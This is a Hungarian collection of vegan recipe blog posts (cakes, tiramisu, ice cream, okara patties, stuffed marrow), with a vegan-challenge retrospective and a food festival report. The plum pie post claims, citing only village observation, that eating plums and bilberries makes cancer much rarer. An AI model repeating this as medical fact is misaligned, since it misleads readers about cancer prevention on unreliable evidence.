Szeletelés előtt hagyjuk kicsit hűlni! Fittanyuka
Előtte-utána...:) Mi változott a legutóbbi Vegán Kihívás óta?
2013. szeptember 11. Vegagyerek
Ha jól számolom, pont fél év telt el az első csoportos Vegán Kihívás óta.:) És talán sokaknak izgatja ilyenkor a fantáziáját, na miket is sikerült megtartani a 30 napos időszak után?:) Akkor kezdem én, aztán nagyon szívesen kíváncsi lennék a korábbi résztvevők tapasztalataira...:)) Ami megmaradt...:) - édességet természetesen ettem az elmúlt hónapokban, viszont sokkal kevesebbet kívántam, mint korábban, és szerencsére többnyire kevesebbet is ettem...:)) - a bio növényi margarin (ami csak természetes összetevőkből áll, és nem hidrogénezett!) teljesen kiiktatódott az étrendemből. Nem volt egy tudatos döntés, de a 30 Napos Vegán Kihívás óta, ha kétszer ettem, sokat mondok. Süteményeknél, ahol korábban még használtam, ott is átváltottam a kókuszzsírra. A margarint nem kívántam már, sőt valójában rá se tudok nézni... - fehér cukrot 8 éve nem használok, csak nádcukrot használtam, de az elmúlt hónapokban már az is alig volt itthon, az agave szirup viszont még sokrétűbb felhasználás alá került:) - sokkal több nyerset ettem, mint a korábbi puding-vegás hónapjaimban...:)) Nyers étkező viszont nem hiszem, hogy leszek mostanában, mert annyira azért nem lendültem bele... - sikerült visszatérni tartósabban az olajos magvak fogyasztásához, és a mandulakrém nagyon belopta magát az életembe, hmmm, überkedvenc lett!:)) - megtartottunk sok receptet családilag is, a gyerekek nagy-nagy kedvence továbbra is pl. az amarántos palacsinta.:) És ami nem maradt meg, illetve visszaalakult...:/ - az az egyik legfőbb törekvésem, hogy változatos, és kiegyensúlyozott ételeket készítek, főzök a családnak, majd külön magamnak, na, hát az továbbra sem jött össze sajnos...:( Vagy az egyik, vagy a másik...:/ Ha a családnak főzök, akkor nekem leves + a köret/ desszert, vagy szendvics, ha magamnak főzök, akkor a családnak félkész, vagy fagyasztott...:/ brrrrrr Merthogy az ízlések kb. ennyire különböznek.... - a sok összevissza-evéstől a szénhidrát viszont a kelleténél jóval több lett az étrendemben...:/ (tipikus vega-hiba) - a kávé visszakúszott... Először egy, aztán napi egy-kettő... Sokszor dolgozom, fordítok a gépen éjszaka, keveset alszom (úgy 8 éve, mióta gyerekeim vannak...:)), és hát ez egyelőre máshogy nem ment/ megy... - és hát fentiek folyományaként a tavasszal lement 4 kilóból 3 visszajött... (ja, tipikus, tudom...:DDD) Hát, ennyi dióhéjban...:) Írhattam volna mást is, de akkor nem azt írtam volna, ami van...:))) És Nálatok hogyan alakultak az elmúlt hónapok?;)
Datolyás piskóta (vegán) kókuszhabos banánsodóval
2013. szeptember 9. Mindennapi ételeink
Amilyen gyorsan elkészül, épp annyira finom, mutatós és egészséges is ez a sütemény. A vegán piskóta citromhéjas zamata keveredik a datolyáéval, és mindehhez társul a banán öntet. Az öntetbe kevert kókuszhab pedig csak hab a tortán. :-) Hozzávalók (kisebb méretű tepsihez): 12 dkg finomliszt 13 dkg durumliszt 1 csomag foszfátmentes sütőpor 10 dkg nyírfacukor kb. 2,5 dl víz 1 citrom héja 6 ek. olaj -- 10 dkg datolya 5 dl banános Sojade szójajoghurt 2 dl Soyatoo kókuszhabkrém Elkészítés: A piskóta száraz összetevőit (lisztek, nyírfacukor, sütőpor, citromhéj) elkeverjük, majd hozzáadjuk a vizet, olajat. Alaposan elkeverjük és a lisztezett-olajozott (vagy sütőpapírral bélelt tepsibe tesszük. A tetejére félbevágott datolyát szórunk Előmelegített sütőben 170 fokon 25-30 perc alatt készre sütjük. Az öntetet így készítjük el ez idő alatt: a szójajoghurtot egy tálba öntjük, majd hozzákeverjük az előzetesen egy éjszakára hűtőbe tett, majd habverővel felvert kókuszhabkrémet. Citromfűvel vagy anélkül tálaljuk. :-)
Fahéjas Szilvás lepény
2013. szeptember 4. Fittanyuka Blog
Tej,-tojás,-cukormentes Kertünkben az orvosság. Erdélyben rengeteg kék szilva terem és fekete, hegyi áfonya. Megfigyelték, hogy azokban a falvakban ahol ezt a két gyümölcsöt rendszeresen fogyasztják és az ebből készült lekvárokat nem ismerik a rákos megbetegedéseket, legalábbis jóval ritkábban fordulnak elő, mint más falvakban, településeken ahol nem fogyasztják ezeket a gyümölcsöket Mindenki az áfonyát ismeri úgy, hogy nagyon magas az antioxidáns tartalma, az egyik legmagasabb az orac értéke. Viszont kevesen tudják, hogy a szilvának magasabb az orac értéke és utána következik a fekete áfonya. Kék szilva orac értéke / 100 g - 5700 Fekete áfonya orac értéke / 100 g - 2400 Szilva élettani hatásai: Kevés cukor és magas víztartalom jellemzi a friss szilvát. Mintegy 85% víz van benne, ezért jól oltja a szomjat. 100 gramm gyümölcs nagyjából 50 kalória (209 KJ) energiát hordoz. Szénhidráttartalma 10,3 g körüli. Vitaminjai közül az A-, az A-provitamin, a béta-karotin, a B1- és B2-, illetve csaknem valamennyi B-vitamin, továbbá a C-vitamin érdemelnek említést. Nagyobb mennyiségben tartalmaz ásványi anyagokat (kálium, kalcium, foszfor és magnézium) és cinket. A növényi antioxidánsok közül antocián színanyagokat és flavonoidokat; rutint és quercetint tartalmaz jelentősebb mennyiségben. Mindezen anyagoknak köszönhetően javítja az immunrendszeri ellenálló-képességet, véd a szív- és érrendszeri megbetegedésekkel szemben. Élettani hatásait tekintve igen fontos rosttartalma - héjában például rengeteg cellulóz van - , ami jól megmozgatja a beleket, így ajánlható székrekedés ellen. Szilvás lepény Hozzávalók: 250 g teljeskiőrlésű tönköly liszt 250 g fehér tönköly liszt 100-150 g darált dió, vagy mandulaliszt ( nem feltétlenül szükséges) 150 g kókusz cukor ( annak függvényében, hogy ki mennyire édesen szereti) 400 ml növényi tej 5-6 evőkanál kókusz olaj 1 csomag foszfátmentes sütőpor 1/2 citrom reszelt héja 250 g magozott kék szilva 1 kk őrölt fahéj 3 evőkanál kókusz cukor Egy keverőtálban először a száraz, utána a nedves hozzávalókat összekeverjük, majd robotgép segítségével tovább keverjük. Kiolajozott sütő formába öntjük, lehet kapcsos torta forma is: kb. 30 cm átmérőjű. A kimagozott szilvákat őrölt fahéjjal elkevert kókusz cukorba hempergetjük, majd lisztben is meghempergetjük, (hogy a sütemény tetején maradjanak) és tetszetősen a tészta tetejére szórjuk. Majd előmelegített sütőben 180 fokok 40 - 45 percig sütjük. Mielőtt kivennénk a sütőből végezzünk szúrópróbát! Fittanyuka
Tiramisu: Tej,-tojás,-cukormentes,-vegán
2013. szeptember 1. Fittanyuka Blog
A Tira mi su, olaszul annyit jelent, hogy kapj fel, valóban ez az édesség magával ragad, egyedi, finom és nagyon sokak kedvence. Viszont az eredeti receptben szereplő nyers tojás, cukor, mascarpone, több szempont miatt sem az egészséges desszert kategóriába sorolható. Régóta tervezem elkészíteni, de mindig volt finomítani való a recepten. Az eredmény viszont nagyon jól sikerült, a piskótát is én készítettem, tehát így töviről hegyire tudom, hogy milyen alapanyagok vannak benne. Összeállt egy alacsony glikémiás indexű, tej származék és nyers tojásmentes finomság, cukor nélkül! Hozzávalók: ( 12-14 adag) Piskóta: 125 g világos tönkölyliszt 125 g rizsliszt vagy mandulaliszt 100 g nyírfacukor 1 tasak foszfátmentes sütőpor 1/2 citrom reszelt héja 6 evőkanál kókusz olaj 2,5 dl növényi tej Krém hozzávalók: 1 zacskó vaníliás bio puding por ( Dm-est ajánlom) 80 g nyírfacukor 6 dl növényi tej 125 g bio margarin 1/2 citrom leve és lereszelt héja 1/2 kk őrölt bourbon vanília 3-4 evőkanál bio kakaópor 7 dl gabona kávé vagy lúgos kávé A sütemény hozzávalóit összekeverjük, először a lisztet, nyírfacukrot, sütőport, majd hozzáadjuk a tejet, kókusz olajat és alaposan összedolgozzuk, majd egy szögletes ( kb. 30x20 cm) kiolajozott sütőformába öntjük a tésztát és előmelegített sütőben 180 C fokon 40-45 percig sütjük. Hagyjuk kihűlni, majd kiborítjuk a formából és baba piskóta hosszúságú, szélességű szeletekre vágjuk. Krém elkészítése: A krémhez a növényi tejben, szokásos módon megfőzzük a pudingot, amelyet átöntünk egy keverő tábla és robotgéppel folyamatosan keverjük, hogy ne csomósodjon össze, krémes maradjon és kicsit hűljön, közben hozzáadjuk a bio margarint, bourbon vaníliát, citromlevet és héját. Ha betudunk szerezni vanília kivonatot attól igazán finom lesz a krémünk, 1-2 kávéskanállal adhatunk hozzá, vagy tehetünk bele 2-3 csepp rum esszenciát is. Addig kavarjuk amíg langyosra hűl. Ez itt a legmunkásabb része, de megéri:). A piskóta szeleteket egyenként belemártjuk a gabona kávéba és elkezdjük lerakni egy üvegtálba a tiramisut: egy réteg kávéba mártott piskóta sor, ráöntünk egy réteg krémet, megszórjuk kakaóporral és addig rakjuk, amíg elfogynak a hozzávalók. A végén a krémmel zárjuk és megszórjuk kakaóporral. Egy éjszakát pihentetjük a hűtőben és másnap lesz igazán finom, szeletelhető! Fittanyuka
Szilvás bulgur álom
2013. augusztus 28. Mindennapi ételeink
A bulgur kevésbé ismert gabonafajta, pedig nagyon tápláló, finom és egészséges eledel. (Gazdag rostokban, vitaminokban, ásványi anyagokban, pl. a vas és B-vitamin, folsav, magnézium tartalma figyelemre méltó.) Étrendünkbe beépítve gazdagabbá tehetjük a mindennapi ételeinket. Most egy nagyon finom reggelit mutatok be, amely egyszerű, gyorsan elkészül és nagyon-nagyon finom! Hozzávalók: 4 dl vaníliás szójatej /mandulatej 1 ek. kókuszolaj 3 dkg nyírfacukor 10 dkg bulgur 1 bio citrom héja 2-3 tk.kardamom -- 3-4 dl aszalt szilvás Sojade joghurt 1/2 kg szilva Elkészítés: A növényi tejet felforraljuk, hozzáadjuk a kókuszolajat, a nyírfacukrot, és forráskor a bulgurt is. Citromhéjjal és kardamommal ízesítjük, és puhulásig (kb. 30 perc) fedő alatt főzzük, közben néha megkeverjük. Miután elzárjuk a tűzhelyet, még 20 percig hagyjuk fedő alatt. Eközben előkészítjük a tálalást: mossuk meg a szilvákat, majd negyedeljük őket. A bulgurt a következőképpen tálaljuk: halmozzunk egy tálra egy kevés bulgurt, kanalazzunk rá a szójajoghurtból, és gazdagítsuk sok-sok szilvával. Ezt addig folytassuk, amíg a tálunk engedni :-) TIPP: bármilyen más gyümölccsel és szójajoghurttal gazdagítható.
Áfonyás torta - Kókusztejszínes öntettel
2013. augusztus 23. Fittanyuka Blog
Ezt a süteményt a nyaralásom alatt készítettem Erdélyben, hegyi áfonyából. Ismételten meggyőződtem, hogy a piacon kapható, túlnemesített, meggyszem nagyságú áfonyának szinte semmi köze sincsen a szabadon termett, hegyi áfonyához, amelyet eléggé körülményes leszüretelni. Íze sokkal intenzívebb, kevésbé édes és mondanom sem kell, hogy vitamin, flavonoid tartalma túlszárnyalja a hibrid áfonyáét! Nagyon sokat ettünk belőle, nyersen, önmagában, vagy a reggeli turmixokba keverve, de nem bírtam ki és az alábbi tortácskát sütöttem belőle:). Hozzávalók: 250 g világos tönköly liszt 6 evőkanál kókusz olaj 100 g nyírfacukor 1 citrom reszelt héja 1 tasak foszfátmentes sütőpor késhegynyi bourbon vanília 350 ml növényi tej 250 g - 300 g friss áfonya Öntet: 300 ml kókusz tejszín 1-2 evőkanál xilit áfonya késhegyni őrölt bourbon vanília A tésztához először a száraz hozzávalókat összekeverjük, majd hozzáadjuk az olajat és a növényi tejet. Robot gép segítségével alaposan összedolgozzuk és egy kiolajozott gyümölcs torta formába öntjük. Tetejére szórjuk az áfonya mennyiség felét, majd előmelegített sütőben 180 C fokon 40 - 45 percig sütjük. Az öntethez a kókusz tejszínt a xilitet és az áfonya másik felét kézi bot mixer segítségével összeturmixoljuk. Ha a hűtőbe tesszük 1-2 óra hosszára akkor megkeményedik és nem öntet lesz, de, mint egy áfonya habot rákanalazhatjuk a sütemény tetejére. Fittanyuka
Édes kis semmiség
2013. augusztus 23. Mindennapi ételeink
A múltkor bemutatott keksz után egy újabb ajánló tej-tojásmentes, mézes keksz a 2004 Rena Kft. jóvoltából. :-) Kicsit felturbózva. :-) Hozzávalók: 10 dkg kókuszolaj 5 dkg karobpor 5 dkg nyírfacukor 10 dkg pirított mandula 5 dkg aszalt sárgabarack 3-4 szem aszalt datolya -- 1 csomag tej-tojásmentes Privolat omlós keksz - mézzel Elkészítés: A kókuszolajat felolvasztjuk, a nyírfacukrot megőröljük (kávédarálón), a datolyákat botmixerrel pépesítjük, a mandulákat pedig egy zsiradék nélküli edényben megpirítjuk, majd késes aprítóban rusztikus darabokra vágjuk. A barackot is nagyon apróra feldaraboljuk. Majd egy tálban mindent összekeverünk, és a kekszekre kenjük mindezt. Behűtjük és tálaljuk is :-)
Magyar ízek utcája - 2013
Idén is ellátogattunk az augusztus huszadikai programok keretén belül az Magyar Ízek Utcájába. Az utca jó hosszú volt, de a tavalyihoz képest - szerintem - kevesebb árus jött el portékáját bemutatni, árulni. Tavalyi kedvencem - a flódnis "sütöde" viszont jelen volt. Mivel előző évben nagyon ízlett ez a zsidó konyha remeke, így idén is megkóstoltam. Vagy az én ízérzékem változott, vagy a recept, vagy mert nem volt langyos sem, csak hideg a sütemény, de ebben az évben nem jött be annyira. Szerintem az állaga sem volt olyan sikeres, mint tavaly.
Ha már édesség... idén is voltak aszalt gyümölcsökből készült édességek standjai. Idén is kihagytam a vásárlását. Tartok tőle, hogy annyira édes lenne, hogy nem tudnék 5 dkg-ot sem elfogyasztani. Máskülönben, ha lenne ingyenes falat kóstolóként, kipróbálnám és lehet, hogy tévednék. Marketing kérdés is - legalább is a cégnél az lehetne. Ezt különben tavaly is így gondoltam. Persze, megértem, ha nincs erre financiális kapacitás náluk. S igazából még aprócska kérdéseim voltak velük kapcsolatban, azonkívül, hogy a méhecskék szeretettel repkedtek rajtuk, mégpedig az, hogy nem láttam nagyon az összetevők listáját. Vajon cukor hozzáadásával készülnek? És a színezékeket hogy oldják meg? Na és a zselés állagúakat miből készítik? (Nem akadékoskodok, ezek felmerültek benne, mint esetleges vásárlóban.)
De volt egy kisebb stand, ahol egyszerű portékát árultak: fűszeres tökmagot. Fokhagymás, paprikás, csilis, olívaolajas és kókuszos-fahéjas (ez utóbbi az édesszájúak számára) ízekben. A kedves árusok nem sajnálták megkóstoltatni a néppel a tökmagokat. Ez volt az igazi reklámfogás. Minket jól megcélzott.:) Férjemnek alig kellett unszolnia, vettünk is két fajtát. Mire bejártuk az "utcát" jól megrágcsáltuk a kis zacskó tökmagokat.
S hogy ezek a magyarok mit ki nem találnak egy gasztro-fesztivál alkalmával! Tudniillik azt, hogy fatüzelésű sparhelten sütötték a tésztát (talán kenyérlángos vagy valamilyen lepény volt?). Ötletesnek tartottam, s ha húsevő vagyok, bizonyára megtalálom a számomra ízletes falatokat itt, akkor is, ha a legolcsóbb termékük 900 forintnál kezdődött.
A másik, ami számomra tetszett, egy helyen hatalmas méretű pogácsákat árultak. (300HUF) Szépek és nagyok voltak a pogik. Sajnos csak két fajta volt (legalább is, amikor ott jártunk): tepertős és néhány sajtos. Na hát mondanom sem kell, hogy a tepertős pogikat egész életemben nem kedveltem. Ha lett volna magvas - mondjuk napraforgó, tökmag, szezámmag trióval, vagy paprikás (igen, én már korábban készítettem ilyet, mikor még nem blogoltam), akkor talán veszünk egyet, bár méretét tekintve négy embernek is elég lett volna egy.
Pékáruk kapcsán megemlítem még az olívabogyós kenyérkét, ami jópofa volt. Árat nem láttam kiírva (attól még lehetett), és a megkóstolást is kihagytuk. Viszont egy helyen (nem tudom, hogy ugyanitt-e), szintén kóstolót osztogattak - paradicsomos - csilis kenyér falatkákat. A kis falat kenyérke jó fűszeres volt. Mindkettővel - olívás és aszalt paradicsomos - már én is próbálkoztam, bár ez szintén nem található (még) a blogomon, pedig sikeres volt. (Olyan gyorsan elfogyott, hogy nem tudtam lefotózni.)
Azért meg kell hagyni, a vegákra is gondoltak az egyik "főttétel" pultnál. Valami húsféléket sütöttek és árultak, s nagy örömömre az alábbi három salátafélét is választhatta az arra járó.
Zárásként pedig jöjjön néhány kenyérről, péktermékről készült kép, ha már augusztus 20. ennek is az ünnepe.
Vanília fagyi tej és tojásmentes, azaz vegán verzióban:)
2013. augusztus 16. Vegagyerek
Az elmúlt években sokféle vegán, azaz tej- és tojásmentes fagyireceptet kipróbáltam. A vaníliások közül ez vált be eddig a legjobban, de mivel mindig elkeverem a receptjét valahova, éppen itt az ideje, hogy felkerüljön ide a blogra is!:) Azt a rejtélyt viszont még nem sikerült megfejtenem, hogy a fagyigépes tartályban miért nem lesz sose olyan igazán krémfagyi állagú a végeredmény...?:/ Mindig be kell tennem a fagyikat utána még a fagyasztóba is, bármilyen is legyen a recept.. Ezzel valahogy ugyanúgy állok, mint 5 évvel ezelőtt, amikor megkaptam a fagyigépet..:/ Van ezzel kapcsolatban tippetek, tapasztalatotok? Ez a recept egyébként nem egy túl nagy mennyiség, szerintem max. kb. 5-6 gombócnyi fagyit lehet belőle kikanalazni, így kb. 2 főre tájolható be az adagja. Az alaprecepten annyit módosítottam, hogy adtam hozzá kókuszolajat, hogy zsírosabb/ krémesebb állagú legyen a fagyi. Vanília fagyi tej- és tojásmentes verzióban Hozzávalók (kb. 2 főre): 1 bögre = kb. 250 ml 2 bögre vaníliás szójatej (az ALPRO vaníliás a tuti!:), ha nem akarsz szójatejet használni, próbáld meg vaníliás rizstejjel helyettesíteni 1 és 3/4 bögre növényi tejszín (nálam most zab- és mandulatejszín vegyesen) 1/4 bögre kókuszolaj 3/4 bögre nádcukor (elméletileg agave sziruppal is helyettesítheted a cukrot, de akkor számolj azzal, hogy hígabb lesz a fagyialap krém, és több keményítő kell majd hozzá!) 2 ek. kukoricakeményítő Keverjünk össze 1/4 bögre szójatejet hidegen a 2 ek. kukoricakeményítővel. Melegítsük fel a maradék tejet a cukorral, a növényi tejszínnel és a kókuszolajjal együtt, és amikor már majdnem forr, adjuk hozzá a keményítős szójatejet. Főzzük így 1-2 percig, majd vegyük le a tűzről és hűtsük ki. Kihűlés után tegyük be a fagyigépbe kb. 45 percre, és ha még szükséges, utána a fagyasztóba, további fagyasztásra. Alapötlet: Vegan ice cream blog
Okara fasírt
2013. augusztus 14. La Veganista
Egy ideje rákaptam arra, hogy a kókusztej és a rizstej mellett a szójatejet is magam készítsem. Töredék áron előállítható a boltihoz képest, és talán még az íze is jobb. A szójatej melléktermékeként jön létre a fehérjében gazdag okara (főtt szójabab töret), amiből remek fasírtokat, hamburger pogácsákat, süteményeket lehet készíteni. A kedvenc okarás fasírtreceptemet szeretném megosztani veletek, amit kínálhattok, tepsis krumplival, tört krumplival, rizzsel, párolt zöldségekkel, savanyúsággal vagy akár egy sima salátával is. A fasírt alapját adó okara mennyisége 2,5 decis csészényi szójabab, amit beáztatunk 24 órára, majd elkészítjük a szójatejet és a leszűrt okara lesz kb. 400g. Ennél kevesebb, vagy nagyobb mennyiségnél hozzáigazítjuk a fűszerek és a csicseriborsóliszt mennyiségét is. Hozzávalók:
- 400g okara
- 130g csicseriborsó liszt
- 1 db vöröshagyma apróra vágva
- 3 db közepes nagyságú fokhagymagerezd apróra vágva
- 3 evőkanál paradicsomsűrítmény
- 2 teáskanál mustár
- 2 evőkanál vörösborecet (alma v fehérborecet is lehet)
- 1 kávéskanál őrölt fekete bors
- 1 teáskanál őrölt kömény
- 2 teáskanál oregano
- 2 teáskanál őrölt pirospaprika
- 1 kávéskanál erős füstölt paprika (Pimentón, a Culinarisban beszerezhető)
- 1-1,5 teáskanál só
- 2-3 kanál olívaolaj a sütéshez (más növényi olaj is használható)
Így készítsd el:
Egy nagyobb tálban alaposan keverd össze a hozzávalókat. Plusz folyadékot nem igényel a massza, mert az okara eleve nedves a főzés után. Az alapanyagokat a csicseriborsóliszt össze fogja tartani sütés közben. A masszát nyugodtan kóstold meg, és ízlésednek megfelelően sózd.
A fasírtalapból formálj tenyérnyi, kb. 0,5 cm vastag fasírtokat, amiket olívaolajjal megkent sütőpapírra helyezz rá. A tetejüket szintén kend át vékonyan egy kis olajjal, így nem száradnak ki sütés közben.
Melegítsd elő 200 °C-ra a sütőt. Süsd a fasírtok mindkét oldalát aranybarnára kb. 30-35 perc alatt, a sütési idő felénél átfordítva őket.
Vadrizzsel töltött zsenge tök, Citromos-kapros tökfőzelékkel
2013. augusztus 6. Fittanyuka Blog
A minap készült ez a finom tökös ebéd:)! Nyári ízek, zsenge tökből. Ne csak rántsuk, habarjuk, hanem töltsük is meg és miért ne lehetne a körítés mellé egy savanykás, tejszínes, kapros tökfőzelék?! Két főre egy darab zsenge tököt számoltam, mert a tölteléke laktató. Vadrizzsel, gombával töltöttem meg, de lehet sima barnarizs is a vadrizs helyett. Hidegen is fogyasztottuk, sőt másnapra is elrakható ebédre, vacsorára. A fogás gluténmentes és természetesen tej,-tojásmentes is egyben! Töltött tök: Hozzávalók: 4 főre 2 db közepes, zsenge tök 200 g barna champion gomba 1 fej vöröshagyma 2 evőkanál kókusz olaj 1 kk himalaya só 1/2 kk szárított kakukkfű 1-2 cikk fokhagyma 100 ml kókusztejszín 150 g vadrizs vagy barnarizs Díszítés: 1 db piros kaliforniai paprika A tököket megmossuk, félbe vágjuk őket, az aljukat kissé levágjuk, hogy ne billegjenek, de mégsem túlságosan, hogy ne lyukadjanak ki. A magokat kikanalazzuk és a húsát karalábvájó segítségével kikaparjuk ( félretesszük a tökfőzelékhez), hagyjunk egy 1,5 cm-es peremet. A rizst ha szükséges áztatjuk és háromszoros mennyiségű vízben puhára főzzük. A vadrizs sosem lesz igazán puha, külső héja kissé roppanós marad, az íze diós jellegű, jellegzetes, fekete színe miatt egyedi. A hagymát felkockázzuk és a kókusz olajon üvegesre dinszteljük, majd hozzáadjuk a megtisztított és szintén feldarabolt gombát. Sózzuk, borsozzuk és fűszerezzük a szárított kakukkfűvel, préselt fokhagymával. A megfőtt rizst átöblítjük hideg vízzel, így megakadályozzuk, hogy csirizes legyen. Összekeverjük a gombával és hozzáadjuk a kókusztejszínt, ha szükséges még fűszerezzük, sózzuk. Betöltjük a tökökbe és sütőlemezre tesszük őket, előmelegített sütőben 180 C fokon 20 percig sütjük. Kevés vizet öntöttem alá, hogy ne égjen le, de ki is olajozhatjuk a sütőlemezt. Miután megsült tetejüket apró kockára vágott kaliforniai paprikával diszítjük. Közben elkészítjük a tökfőzeléket: Hozzávalók: 4 főre 1 db közepes zsenge tök 1 evőkanál kókusz olaj 250 ml kókusztejszín 2 evőkanál zabpehelyliszt 2 kk himalaya só 1/2 citrom leve pár szál friss kapor 1-2 cikk fokhagyma A zsenge tököt megmossuk és lereszeljük héjával együtt. Majd a kókusz olajon megfonnyasztjuk, hozzáadjuk a kivájt kis labdácskákat is, sózzuk. Én mindig roppanósra párolok, fonnyasztok szinte minden zöldséget, hogy benne maradjon minél több vitamin, ásványianyag! A kókusztejszínt csomómentesen elkeverjük a zabliszttel, citrom levével, és ezzel felöntjük a tökfőzeléket és besűrítjük. Utólag ízesítjük a préselt fokhagymával, apróra vágott kaporral. Ha szükséges még savanyítjuk a citromlevével. Tálalhatjuk a töltött tökkel... A reformélelmiszer alapanyagokat a Jó egészséget! webáruházban tudja beszerezni. Fittanyuka
Cukkinikrém
Pirítóshoz, sós péksüteményekhez. Amennyire egyszerű, annyira finom, szóval vigyázat, gyorsan fogy! Hozzávalók: 2 ek kókuszzsír (vagy olaj) 1/2 kk asafoetida (vagy fokhagyma) 1 közepes cukkini 1 kápia paprika 2 ek tejföl (elhagyható) egy csipet feketebors 1 kk só A kápiát csíkokra vágjuk, a cukkinit... tovább>>
Kardamomos-almás töltött keksz
2013. július 30. Mindennapi ételeink
Lehűlt az idő, így begyújthatjuk a sütőt (no, nem kell sok ideig) és jöhet egy kis keksz. Nagyon hűsítő egyébként, és amellett, hogy finom, egészséges is :-) Hozzávalók: 15 dkg teljes őrlésű liszt 15 dkg finomliszt 1/2 tk. Arm and Hammer szóda (v. szódabikarbóna) 1 púpos tk őrölt kardamom 1/2 citrom héja 10 dkg kókuszolaj 15 dkg nyírfacukor kb. 0,1 dl víz (lehet, hogy kevesebb, liszttől is függ, ezért apránként adjuk hozzá) --- 4 szem nyári alma 2-3 tk. kardamom 1/2 citrom héja 5 dkg nyírfacukor Elkészítés: Először az almás tölteléket készítsük elő: az almákat hámozzuk meg, majd vágjuk kis kockákra. Egy edénybe téve adjuk hozzá a citromhéjat, a kardamomot, és a cukrot. Kb.5-10 perc alatt pároljuk roppanósra. Ez idő alatt el is tudjuk készíteni a tésztát: a liszteket, a szódát, a kókuszolajat, az ízesítőket és a vizet (apránként adagolva) keverjük össze, amíg jól nyújtható tésztát nem kapunk. 15-20 percre hűtőbe téve pihentessük, ez idő alatt egy gyors tésztaételt meg is tudunk főzni ebédre. :-)Majd lisztezett felületen nyújtsuk ki, és szaggassunk kisebb pogácsaszaggatóval köröket belőle, melyek felére halmozzunk a kihűlt (és ha sok levet engedett az almánk, akkor lecsöpögtetett) töltelékből, majd fedjük be az egészet egy újabb körrel. A tetejére tehetünk 1-1 szem diót, mandulát. Előmelegített sütőben 150 fokon kb. 20 perc alatt kisülnek. Önmagában is finomak, hiszen a tészta ízletes és omlós, de szójajoghurttal meglocsolva is nagyon jó tud lenni. :-)
Rakott cukkini
Lecsóval rakott, sajtos cukkini, igazi nyári, könnyű semmiség. Hozzávalók: 2 cukkini 1 ek kókuszzsír (olaj) 4 paprika 1/4 kk asafoetida (vagy hagyma, aki azzal főz) 1 kk pirospaprika egy csipet bors 4 paradicsom 1 kk cukor 2 kk só 15 dkg reszelt sajt A cukkinit megmossuk, karikákra vágjuk, és... tovább>>
Kókuszos-csokis, erdei gyümölcsös nyers torta (tej-, tojás-, és cukormentes)
Júniusban ünnepeltük Anyukám (63.:) születésnapját, és ahogy az már megszokott, én készítem ilyenkor a tortát neki.:) Az elmúlt években pedig, amióta már 70-90%-ban nyers ételeket fogyaszt, a torta nyers változatban készül. Idén a Facebookon találtam rá egy rendkívül mutatós tortára, amit egy costa ricai vegán séf, Eric Rivkin élő ételes szakácskönyvében találtam. Egy dél-amerikai szerzőről lévén szó, a hozzávalók egy része is a földrajzi sajátosságokat tükrözi, így kicsit kénytelen voltam variálni a recepten. A friss kókuszdió helyett például többnyire szárított kókuszreszeléket használtam, és ettől az állaga kicsit darabosabb lett. Nem volt itthon útifűmaghéj, ezért nem sikerült elég szilárd állagúvá varázsolni a krémet, így viszonylag folyós maradt. Emiatt maradt rajta a tortaforma pereme is a fotózásnál, mert inkább kanalaztuk, mint szeleteltük.:) Az íze összhatásában viszont isteni, nagy sikert aratott családon kívül és belül, ezért mindenképpen felteszem ide a blogra! A krémjét akár kanalas-poharas édességként is lehet fogyasztani! És amilyen bonyolultnak tűnik a hosszú leírás alapján a recept, higgyétek el, nem az, nagyon egyszerű!:) De tényleg!:) Az egyes rétegek édességét én mindig kóstolással ellenőriztem, és amikor úgy ítéltem meg, hogy nem elég édes, akkor agave sziruppal utánaédesítettem. Az eredeti torta így nézett volna ki, de mivel már időhiányban voltam a végére, ezért okos módon elfelejtettem az epreket a szélére beletenni...:/ Mondjuk úgyis folyós lett a végeredmény, így végül nem is volt jelentősége...:D És ha további nyers torta csodákra vágytok, ajánlom Nektek pl. Erika blogját! Kókuszos-csokis, erdei gyümölcsös nyers torta Hozzávalók (egy 20 cm-es kapcsos tortaformához): 1 bögre = kb. 250 ml A torta alap 1 bögre mandula, vagy pekándió, beáztatva 2 órára és lecsepegtetve, megszárítva 1 bögre friss, vagy szárított, finom kókuszreszelék 1/2 bögre magozott datolya (én kicsit be is áztattam, majd lecsöpögtettem) 1/2 bögre kakaópor 1/4 tk. őrölt fahéj csipet őrölt bors (én kihagytam) Konyhai aprítógéppel aprítsuk fel morzsás állagúra és keverjük össze a hozzávalókat. Kókuszos krémtöltelék 2 bögre aprított friss kókuszbél (nálam maradt a kókuszreszelék, amit beáztattam, és utána jól kinyomkodtam) 5 db jó érett banán 1/4 bögre kókuszolaj 4-5 darab magozott medjool datolya (nálam maradt a sima datolya) 1/2 tk. vaníliaőrlemény, vagy egy vaníliarúd kikapart belseje Turmixoljuk össze aprítógépben a hozzávalókat, amíg finom krémes állagot kapunk, majd tegyük a hűtőbe. Megjegyzés: itt a krémnél, mint utóbb kiderült sokat számított volna az útifűmaghéj hozzáadása...! Legalább 3 evőkanállal tennék hozzá, hogy ne legyen folyós a krém! A krém végleges édessége pedig függ a banántól, kóstold meg, és ha nem elég édes, esetleg agave szirupot adhatsz hozzá! Csokimáz a tetejére 1 bögre friss kókuszbél (maradt a kókuszreszelék) 3 ek. kókuszolaj 1/2 bögre kakaópor 3 db magozott medjool datolya 3 db fekete füge (nálam sima füge) 1/2 tk. vaníliaőrlemény, vagy egy vaníliarúd kikapart belseje 1/4 tk. őrölt fahéj csipet őrölt bors (én kihagytam) Mixeljük össze aprítógépben a hozzávalókat, amíg egy sűrű, sima krémet nem kapunk. Tegyük be a hűtőbe. Megjegyzés: itt a kókuszreszelék miatt kicsit darabos marad a máz. Ha mégis friss kókusszal dolgozol, akkor gondolom, ez elkerülhető! Minket nem zavart, de jobb ha tudsz róla!:) Fontos!: ahhoz, hogy szilárdulás után ne csomósodjon be a kókuszolaj a mázban, közvetlenül az elkészítés után tedd be a fagyasztóba kb. 1/2 órára, vagy akár kevesebbre! Díszítés 1 bögre vegyes bogyós gyümölcs 1 tk. agave szirup, vagy más növényi édesítő (sztívia, juharszirup, stb.) mentalevelek (elhagyható) Az eperöntethez turmixoljuk össze a növényi édesítőt néhány szem eperrel. Öntsük 6-8 darab nagy szemű, vékonyra szeletelt eper A torta összeállítása: 1. Nyomkodjuk a tortaalap masszáját a kókuszolajjal vékonyan kikent kapcsos tortaforma aljára. 2. Szedjük le a szárát, majd hosszában vékonyan szeleteljük fel az epreket, és a szélesebb felükkel kifelé nyomjuk a szeleteket a tortaforma pereméhez végig belül. A kisebb szeleteket felhasználhatjuk a 